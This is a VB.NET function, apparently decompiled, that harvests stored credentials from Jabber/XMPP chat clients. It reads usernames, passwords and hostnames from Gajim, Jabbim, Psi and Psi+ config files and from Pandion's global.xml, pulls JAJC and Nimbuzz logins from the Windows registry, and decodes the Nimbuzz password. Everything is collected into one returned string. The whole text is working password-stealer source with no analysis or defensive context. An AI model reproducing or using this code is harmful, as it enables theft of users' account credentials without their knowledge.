Public Function method_3(ByVal string_0 As String) As String
Dim flag As Boolean
Dim flag2 As Boolean
Dim str6 As String = ""
Dim path As String = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\gajim\config")
If flag = File.Exists(path) Then
str6 = (str6 & Environment.NewLine & "------------gajim----------------" & Environment.NewLine)
Dim strArray As String() = File.ReadAllText(path).Split(Environment.NewLine.ToCharArray)
Dim num8 As Integer = (strArray.Length - 1)
Dim i As Integer = 0
Do While (i <= num8)
If flag = (strArray(i).Trim <> "") Then
If flag2 = (strArray(i).Contains("accounts.") AndAlso strArray(i).Contains(".password")) Then
str6 = (str6 & strArray(i) & Environment.NewLine)
End If
If flag2 = (strArray(i).Contains("accounts.") AndAlso strArray(i).Contains(".name")) Then
str6 = (str6 & strArray(i) & Environment.NewLine)
End If
If flag2 = (strArray(i).Contains("accounts.") AndAlso strArray(i).Contains(".hostname")) Then
str6 = (str6 & strArray(i) & Environment.NewLine)
End If
End If
i += 1
Loop
End If
path = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\jabbim\config")
If flag2 = File.Exists(path) Then
str6 = (str6 & Me.method_2(path))
End If
path = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\jabbim")
If flag2 = Directory.Exists(path) Then
Dim directories As String() = Directory.GetDirectories(path)
Dim num9 As Integer = (directories.Length - 1)
Dim j As Integer = 0
Do While (j <= num9)
If flag2 = directories(j).EndsWith("-profile") Then
str6 = (str6 & Me.method_2((directories(j) & "\config")))
End If
j += 1
Loop
End If
Dim str5 As String = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Psi\profiles\default\accounts.xml")
Dim str4 As String = ""
If flag2 = File.Exists(str5) Then
str6 = (str6 & Environment.NewLine & "------------psi----------------" & Environment.NewLine)
Dim str9 As String = ""
Dim strArray3 As String() = File.ReadAllText(str5).Split(Environment.NewLine.ToCharArray)
Dim num10 As Integer = (strArray3.Length - 1)
Dim k As Integer = 0
Do While (k <= num10)
If flag2 = (strArray3(k).Trim <> "") Then
If flag = (strArray3(k).TrimStart(New Char(0 - 1) {}).StartsWith("<jid") AndAlso str4.StartsWith("<priority")) Then
str9 = strArray3(k).Trim
str9 = str9.Substring((str9.IndexOf(""">") + 2), ((str9.IndexOf("</") - str9.IndexOf(""">")) - 2))
str6 = (str6 & "u= " & str9 & Environment.NewLine)
End If
If flag2 = strArray3(k).TrimStart(New Char(0 - 1) {}).StartsWith("<password") Then
str9 = strArray3(k).Trim
str9 = str9.Substring((str9.IndexOf(""">") + 2), ((str9.IndexOf("</") - str9.IndexOf(""">")) - 2))
str6 = (str6 & "p= " & str9 & Environment.NewLine)
End If
str4 = strArray3(k).TrimStart(New Char(0 - 1) {})
End If
k += 1
Loop
str6 = (str6 & Environment.NewLine & "------------end psi ------------" & Environment.NewLine)
End If
str5 = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Psi+\profiles\default\accounts.xml")
str4 = ""
If flag2 = File.Exists(str5) Then
str6 = (str6 & Environment.NewLine & "------------psi+----------------" & Environment.NewLine)
Dim str10 As String = ""
Dim strArray4 As String() = File.ReadAllText(str5).Split(Environment.NewLine.ToCharArray)
Dim num11 As Integer = (strArray4.Length - 1)
Dim m As Integer = 0
Do While (m <= num11)
If flag2 = (strArray4(m).Trim <> "") Then
If flag = (strArray4(m).TrimStart(New Char(0 - 1) {}).StartsWith("<jid") AndAlso str4.StartsWith("<ignore-global-actions")) Then
str10 = strArray4(m).Trim
str10 = str10.Substring((str10.IndexOf(""">") + 2), ((str10.IndexOf("</") - str10.IndexOf(""">")) - 2))
str6 = (str6 & "u= " & str10 & Environment.NewLine)
End If
If flag2 = strArray4(m).TrimStart(New Char(0 - 1) {}).StartsWith("<password") Then
str10 = strArray4(m).Trim
str10 = str10.Substring((str10.IndexOf(""">") + 2), ((str10.IndexOf("</") - str10.IndexOf(""">")) - 2))
str6 = (str6 & "p= " & str10 & Environment.NewLine)
End If
str4 = strArray4(m).TrimStart(New Char(0 - 1) {})
End If
m += 1
Loop
str6 = (str6 & Environment.NewLine & "------------end psi+ ------------" & Environment.NewLine)
End If
Dim key2 As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\ABstract Software\JAJC\Accounts\default", True)
If flag2 = (Not key2 Is Nothing) Then
Dim str12 As String = ""
Dim str11 As String = ""
str12 = key2.GetValue("user/name", "not found").ToString
str11 = key2.GetValue("user/password", "not found").ToString
If flag2 = ((str12 <> "not found") AndAlso (str11 <> "not found")) Then
str6 = (str6 & Environment.NewLine & "---------- jajc start-----------------" & Environment.NewLine)
str6 = (String.Concat(New String() { str6, "u= ", str12, Environment.NewLine, "p= ", str11 }) & Environment.NewLine & "---------- jajc end-----------------" & Environment.NewLine)
End If
End If
str5 = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Pandion\global.xml")
If flag2 = File.Exists(str5) Then
Dim str13 As String = ""
Dim strArray5 As String() = File.ReadAllText(str5).Split(Environment.NewLine.ToCharArray)
str6 = (str6 & Environment.NewLine & "--------------- pandion start---------------------" & Environment.NewLine)
Dim num12 As Integer = (strArray5.Length - 1)
Dim n As Integer = 0
Do While (n <= num12)
If flag2 = (strArray5(n).Trim <> "") Then
If flag = strArray5(n).TrimStart(New Char(0 - 1) {}).StartsWith("<last_address>") Then
str13 = strArray5(n).Trim.Replace("<last_address>", "").Replace("</last_address>", "")
str6 = String.Concat(New String() { str6, Environment.NewLine, "u= ", str13, Environment.NewLine })
End If
If flag2 = strArray5(n).TrimStart(New Char(0 - 1) {}).StartsWith("<last_password>") Then
str13 = strArray5(n).Trim.Replace("<last_password>", "").Replace("</last_password>", "")
str6 = String.Concat(New String() { str6, Environment.NewLine, "p= ", str13, Environment.NewLine })
End If
End If
n += 1
Loop
str6 = (str6 & Environment.NewLine & "--------------- pandion end---------------------" & Environment.NewLine)
End If
Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("software\Nimbuzz\PCClient\Application", True)
Dim str7 As String = ""
Dim str As String = ""
If flag2 = (Not key Is Nothing) Then
str = key.GetValue("Password", "not found").ToString
str7 = key.GetValue("Username", "not found").ToString
If flag2 = (str <> "not found") Then
Dim startIndex As Integer = (str.IndexOf("("c) + 1)
Dim length As Integer = (str.LastIndexOf(")"c) - startIndex)
Dim str15 As String = str.Substring(startIndex, length)
Dim str14 As String = Me.method_0(str15)
str6 = ((str6 & Environment.NewLine & "----------------------------" & Environment.NewLine) & str7 & Environment.NewLine & str14)
End If
End If
Return str6
End Function
by 
)
